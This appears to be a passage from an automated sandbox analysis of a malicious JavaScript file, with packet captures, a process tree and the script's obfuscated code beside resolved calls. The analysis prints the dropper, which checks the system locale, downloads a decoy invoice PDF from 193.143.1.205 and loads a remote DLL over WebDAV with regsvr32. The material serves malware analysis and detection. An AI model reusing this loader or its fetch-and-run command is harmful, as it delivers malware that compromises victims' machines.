Jan 11, 2025 04:17:18.730743885 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:17:18 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 04:17:18.730786085 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:17:18.730822086 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 04:17:18.730875969 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 04:17:18.730911970 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 04:17:18.730946064 CET	1120	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 04:17:18.730979919 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 04:17:18.731017113 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 04:17:18.731122017 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 04:17:18.731156111 CET	1236	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o
Jan 11, 2025 04:17:18.735953093 CET	100	IN	Data Raw: c7 86 7e e4 d8 d0 4d 9b fa e6 04 00 00 30 0d be 58 02 80 8d 32 b7 d3 d1 1d b9 7a 2c 74 74 15 ad 39 5c d2 1c f3 57 ce 16 b9 e1 50 dd 43 c3 18 5a 73 6d 7e 32 34 8c a1 ff 35 24 3d 74 f6 cb 64 38 34 ad 0f 9d fd a1 52 1e d2 7f 9c 54 21 53 21 d2 f4 51 Data Ascii: ~M0X2z,tt9\WPCZsm~245$=td84RT!S!Q]avNQ0}v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49708	193.143.1.205	8888	1988	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:17:21.293613911 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:17:22.096554995 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:17:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	22:17:09
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32139134812378922139.js"
Imagebase:	0x7ff72ea20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:17:09
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll
Imagebase:	0x7ff697550000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:17:09
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:17:09
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:17:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:17:19
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff697550000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:17:20
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff71f970000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:17:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:17:20
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:17:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1664,i,17996982894183006517,5833100182249671204,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function lhbevjsz() {	lhbevjsz() ➔ undefined
1	dquwcdjxz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ztgdff = this[sjmsjawnb + wovodnosw + qpfbmfm + bpnsiy + wdarjl + occekl + kgfxbtk + vazzgrd] ( this[oojdy + mjcvueap + aueaktklj + qpfbmfm + yczisbeq + sjmsjawnb + vazzgrd][kdskeom + qpfbmfm + wdarjl + wovodnosw + vazzgrd + wdarjl + lxrxh + zohnsqqha + lujubcza + wdarjl + aueaktklj + vazzgrd] ( oojdy + mjcvueap + aueaktklj + qpfbmfm + yczisbeq + sjmsjawnb + vazzgrd + iqiyiklz + mjcvueap + gcrfyawuz + wdarjl + njxtbg + njxtbg ) [hsodyr + wdarjl + gohiendyq + hsodyr + wdarjl + wovodnosw + dframdcu] ( exisyrmgx + zdyaoean + xhlrwjcf + yujawxj + hsgpjrprh + kdskeom + jiahb + hsodyr + hsodyr + xhlrwjcf + jnspvq + joqqkl + hsgpjrprh + jiahb + mjcvueap + xhlrwjcf + hsodyr + wpoxjqrva + kdskeom + rvwynsu + kgfxbtk + vazzgrd + qpfbmfm + rvwynsu + njxtbg + gkrdl + ewlslec + wovodnosw + kgfxbtk + wdarjl + njxtbg + wpoxjqrva + occekl + kgfxbtk + vazzgrd + wdarjl + qpfbmfm + kgfxbtk + wovodnosw + vazzgrd + yczisbeq + rvwynsu + kgfxbtk + wovodnosw + njxtbg + wpoxjqrva + nbnskmpdy + rvwynsu + aueaktklj + wovodnosw + njxtbg + wdarjl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ldwyqnjul = 0 ; ldwyqnjul < dquwcdjxz[njxtbg + wdarjl + kgfxbtk + gohiendyq + vazzgrd + gcrfyawuz] ; ++ ldwyqnjul )
4	{
5	if ( ztgdff == dquwcdjxz[ldwyqnjul] )
6	{
7	ztgdff = true;
8	break ;
9	}
10	}
11	if ( ztgdff !== true )
12	this[oojdy + mjcvueap + aueaktklj + qpfbmfm + yczisbeq + sjmsjawnb + vazzgrd][nejntx + fywgxnnxq + yczisbeq + vazzgrd] ( );
13	this[oojdy + mjcvueap + aueaktklj + qpfbmfm + yczisbeq + sjmsjawnb + vazzgrd][kdskeom + qpfbmfm + wdarjl + wovodnosw + vazzgrd + wdarjl + lxrxh + zohnsqqha + lujubcza + wdarjl + aueaktklj + vazzgrd] ( oojdy + mjcvueap + aueaktklj + qpfbmfm + yczisbeq + sjmsjawnb + vazzgrd + iqiyiklz + mjcvueap + gcrfyawuz + wdarjl + njxtbg + njxtbg ) [qpfbmfm + fywgxnnxq + kgfxbtk] ( aueaktklj + htcilhhn + dframdcu + gkrdl + imxpbe + aueaktklj + gkrdl + sjmsjawnb + rvwynsu + koavhqr + wdarjl + qpfbmfm + bpnsiy + gcrfyawuz + wdarjl + njxtbg + njxtbg + iqiyiklz + wdarjl + skvsnp + wdarjl + gkrdl + uugcu + kdskeom + rvwynsu + htcilhhn + htcilhhn + wovodnosw + kgfxbtk + dframdcu + gkrdl + jodwb + occekl + kgfxbtk + gbbzphas + rvwynsu + lolzq + wdarjl + uugcu + oojdy + wdarjl + zohnsqqha + hsodyr + wdarjl + fcbqqciel + fywgxnnxq + wdarjl + bpnsiy + vazzgrd + gkrdl + uugcu + lxrxh + fywgxnnxq + vazzgrd + jkdlzc + yczisbeq + njxtbg + wdarjl + gkrdl + ardtttv + vazzgrd + wdarjl + htcilhhn + sjmsjawnb + ardtttv + wpoxjqrva + yczisbeq + kgfxbtk + gbbzphas + rvwynsu + yczisbeq + aueaktklj + wdarjl + iqiyiklz + sjmsjawnb + dframdcu + vdjisrph + gkrdl + gcrfyawuz + vazzgrd + vazzgrd + sjmsjawnb + kztkcwsp + imxpbe + imxpbe + kjcfjixab + qlfkkuk + chqwdjps + iqiyiklz + kjcfjixab + qnawfgu + chqwdjps + iqiyiklz + kjcfjixab + iqiyiklz + qotqzm + rnzwtu + lrtec + imxpbe + yczisbeq + kgfxbtk + gbbzphas + rvwynsu + yczisbeq + aueaktklj + wdarjl + iqiyiklz + sjmsjawnb + gcrfyawuz + sjmsjawnb + jodwb + robocjm + robocjm + bpnsiy + vazzgrd + wovodnosw + qpfbmfm + vazzgrd + gkrdl + ardtttv + vazzgrd + wdarjl + htcilhhn + sjmsjawnb + ardtttv + wpoxjqrva + yczisbeq + kgfxbtk + gbbzphas + rvwynsu + yczisbeq + aueaktklj + wdarjl + iqiyiklz + sjmsjawnb + dframdcu + vdjisrph + robocjm + robocjm + aueaktklj + htcilhhn + dframdcu + gkrdl + imxpbe + aueaktklj + gkrdl + kgfxbtk + wdarjl + vazzgrd + gkrdl + fywgxnnxq + bpnsiy + wdarjl + gkrdl + wpoxjqrva + wpoxjqrva + kjcfjixab + qlfkkuk + chqwdjps + iqiyiklz + kjcfjixab + qnawfgu + chqwdjps + iqiyiklz + kjcfjixab + iqiyiklz + qotqzm + rnzwtu + lrtec + fprhqpgu + qtgpjq + qtgpjq + qtgpjq + qtgpjq + wpoxjqrva + dframdcu + wovodnosw + gbbzphas + koavhqr + koavhqr + koavhqr + qpfbmfm + rvwynsu + rvwynsu + vazzgrd + wpoxjqrva + robocjm + robocjm + aueaktklj + htcilhhn + dframdcu + gkrdl + imxpbe + aueaktklj + gkrdl + qpfbmfm + wdarjl + gohiendyq + bpnsiy + gbbzphas + qpfbmfm + chqwdjps + qotqzm + gkrdl + imxpbe + bpnsiy + gkrdl + wpoxjqrva + wpoxjqrva + kjcfjixab + qlfkkuk + chqwdjps + iqiyiklz + kjcfjixab + qnawfgu + chqwdjps + iqiyiklz + kjcfjixab + iqiyiklz + qotqzm + rnzwtu + lrtec + fprhqpgu + qtgpjq + qtgpjq + qtgpjq + qtgpjq + wpoxjqrva + dframdcu + wovodnosw + gbbzphas + koavhqr + koavhqr + koavhqr + qpfbmfm + rvwynsu + rvwynsu + vazzgrd + wpoxjqrva + kjcfjixab + gqasfb + rnzwtu + kjcfjixab + qotqzm + chqwdjps + rnzwtu + rnzwtu + kuceluw + rnzwtu + qotqzm + lrtec + kuceluw + qotqzm + qlfkkuk + iqiyiklz + dframdcu + njxtbg + njxtbg, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll",0,false) ➔ 0
14	}
15	qpfbmfm = "o";
16	qpfbmfm = "k";
17	qpfbmfm = "Z";
18	qpfbmfm = "G";
19	qpfbmfm = "O";
20	qpfbmfm = "v";
21	qpfbmfm = "s";
22	qpfbmfm = "S";
23	qpfbmfm = "k";
24	qpfbmfm = "Q";
25	qpfbmfm = "J";
26	qpfbmfm = "M";
27	qpfbmfm = "d";
28	qpfbmfm = "y";
29	qpfbmfm = "x";
30	qpfbmfm = "E";
31	qpfbmfm = "r";
32	lrtec = "j";
33	lrtec = "f";
34	lrtec = "T";
35	lrtec = "K";
36	lrtec = "y";
37	lrtec = "z";
38	lrtec = "Y";
39	lrtec = "E";
40	lrtec = "a";
41	lrtec = "n";
42	lrtec = "A";
43	lrtec = "A";
44	lrtec = "V";
45	lrtec = "K";
46	lrtec = "Z";
47	lrtec = "B";
48	lrtec = "t";
49	lrtec = "g";
50	lrtec = "X";
51	lrtec = "z";
52	lrtec = "5";
53	kuceluw = "O";
54	kuceluw = "h";
55	kuceluw = "m";
56	kuceluw = "s";
57	kuceluw = "s";
58	kuceluw = "E";
59	kuceluw = "Y";
60	kuceluw = "q";
61	kuceluw = "F";
62	kuceluw = "s";
63	kuceluw = "f";
64	kuceluw = "q";
65	kuceluw = "p";
66	kuceluw = "X";
67	kuceluw = "A";
68	kuceluw = "h";
69	kuceluw = "I";
70	kuceluw = "c";
71	kuceluw = "n";
72	kuceluw = "M";
73	kuceluw = "v";
74	kuceluw = "e";
75	kuceluw = "W";
76	kuceluw = "c";
77	kuceluw = "D";
78	kuceluw = "s";
79	kuceluw = "z";
80	kuceluw = "K";
81	kuceluw = "O";
82	kuceluw = "b";
83	kuceluw = "S";
84	kuceluw = "v";
85	kuceluw = "L";
86	kuceluw = "z";
87	kuceluw = "q";
88	kuceluw = "z";
89	kuceluw = "C";
90	kuceluw = "g";
91	kuceluw = "J";
92	kuceluw = "o";
93	kuceluw = "b";
94	kuceluw = "6";
95	kztkcwsp = "i";
96	kztkcwsp = "c";
97	kztkcwsp = "J";
98	kztkcwsp = "j";
99	kztkcwsp = "O";
100	kztkcwsp = "U";
101	kztkcwsp = "d";
102	kztkcwsp = "D";
103	kztkcwsp = "l";
104	kztkcwsp = "S";
105	kztkcwsp = "b";
106	kztkcwsp = "E";
107	kztkcwsp = "t";
108	kztkcwsp = "i";
109	kztkcwsp = "Z";
110	kztkcwsp = "s";
111	kztkcwsp = "A";
112	kztkcwsp = "R";
113	kztkcwsp = "r";
114	kztkcwsp = "O";
115	kztkcwsp = "s";
116	kztkcwsp = "l";
117	kztkcwsp = "l";
118	kztkcwsp = "V";
119	kztkcwsp = "K";
120	kztkcwsp = "f";
121	kztkcwsp = "j";
122	kztkcwsp = "R";
123	kztkcwsp = "z";
124	kztkcwsp = "O";
125	kztkcwsp = ":";
126	ewlslec = "b";
127	ewlslec = "M";
128	ewlslec = "b";
129	ewlslec = "u";
130	ewlslec = "V";
131	ewlslec = "h";
132	ewlslec = "r";
133	ewlslec = "n";
134	ewlslec = "g";
135	ewlslec = "p";
136	ewlslec = "A";
137	ewlslec = "G";
138	ewlslec = "P";
139	qnawfgu = "H";
140	qnawfgu = "t";
141	qnawfgu = "u";
142	qnawfgu = "C";
143	qnawfgu = "f";
144	qnawfgu = "4";
145	joqqkl = "A";
146	joqqkl = "c";
147	joqqkl = "T";
148	joqqkl = "h";
149	joqqkl = "B";
150	joqqkl = "k";
151	joqqkl = "c";
152	joqqkl = "X";
153	joqqkl = "e";
154	joqqkl = "y";
155	joqqkl = "S";
156	joqqkl = "T";
157	joqqkl = "Q";
158	joqqkl = "I";
159	joqqkl = "A";
160	joqqkl = "S";
161	joqqkl = "m";
162	joqqkl = "I";
163	joqqkl = "H";
164	joqqkl = "H";
165	joqqkl = "U";
166	joqqkl = "j";
167	joqqkl = "v";
168	joqqkl = "m";
169	joqqkl = "m";
170	joqqkl = "c";
171	joqqkl = "x";
172	joqqkl = "y";
173	joqqkl = "O";
174	joqqkl = "d";
175	joqqkl = "p";
176	joqqkl = "x";
177	joqqkl = "M";
178	joqqkl = "d";
179	joqqkl = "E";
180	joqqkl = "T";
181	skvsnp = "P";
182	skvsnp = "Q";
183	skvsnp = "f";
184	skvsnp = "G";
185	skvsnp = "R";
186	skvsnp = "U";
187	skvsnp = "S";
188	skvsnp = "G";
189	skvsnp = "P";
190	skvsnp = "V";
191	skvsnp = "M";
192	skvsnp = "Y";
193	skvsnp = "b";
194	skvsnp = "N";
195	skvsnp = "s";
196	skvsnp = "H";
197	skvsnp = "z";
198	skvsnp = "N";
199	skvsnp = "P";
200	skvsnp = "X";
201	skvsnp = "t";
202	skvsnp = "X";
203	skvsnp = "i";
204	skvsnp = "O";
205	skvsnp = "U";
206	skvsnp = "B";
207	skvsnp = "K";
208	skvsnp = "K";
209	skvsnp = "f";
210	skvsnp = "t";
211	skvsnp = "v";
212	skvsnp = "x";
213	skvsnp = "c";
214	skvsnp = "A";
215	skvsnp = "L";
216	skvsnp = "x";
217	yujawxj = "e";
218	yujawxj = "a";
219	yujawxj = "u";
220	yujawxj = "u";
221	yujawxj = "R";
222	yujawxj = "g";
223	yujawxj = "W";
224	yujawxj = "i";
225	yujawxj = "O";
226	yujawxj = "C";
227	yujawxj = "J";
228	yujawxj = "c";
229	yujawxj = "p";
230	yujawxj = "Y";
231	zohnsqqha = "m";
232	zohnsqqha = "m";
233	zohnsqqha = "X";
234	zohnsqqha = "S";
235	zohnsqqha = "M";
236	zohnsqqha = "Z";
237	zohnsqqha = "D";
238	zohnsqqha = "f";
239	zohnsqqha = "Z";
240	zohnsqqha = "b";
241	zdyaoean = "G";
242	zdyaoean = "e";
243	zdyaoean = "M";
244	zdyaoean = "w";
245	zdyaoean = "m";
246	zdyaoean = "I";
247	zdyaoean = "G";
248	zdyaoean = "L";
249	zdyaoean = "V";
250	zdyaoean = "h";
251	zdyaoean = "L";
252	zdyaoean = "s";
253	zdyaoean = "q";
254	zdyaoean = "I";
255	zdyaoean = "O";
256	zdyaoean = "r";
257	zdyaoean = "i";
258	zdyaoean = "e";
259	zdyaoean = "R";
260	zdyaoean = "S";
261	zdyaoean = "o";
262	zdyaoean = "Q";
263	zdyaoean = "A";
264	zdyaoean = "N";
265	zdyaoean = "c";
266	zdyaoean = "u";
267	zdyaoean = "Y";
268	zdyaoean = "v";
269	zdyaoean = "x";
270	zdyaoean = "u";
271	zdyaoean = "O";
272	zdyaoean = "B";
273	zdyaoean = "e";
274	zdyaoean = "K";
275	fywgxnnxq = "g";
276	fywgxnnxq = "n";
277	fywgxnnxq = "E";
278	fywgxnnxq = "Z";
279	fywgxnnxq = "A";
280	fywgxnnxq = "c";
281	fywgxnnxq = "P";
282	fywgxnnxq = "F";
283	fywgxnnxq = "P";
284	fywgxnnxq = "U";
285	fywgxnnxq = "H";
286	fywgxnnxq = "b";
287	fywgxnnxq = "U";
288	fywgxnnxq = "s";
289	fywgxnnxq = "a";
290	fywgxnnxq = "J";
291	fywgxnnxq = "K";
292	fywgxnnxq = "t";
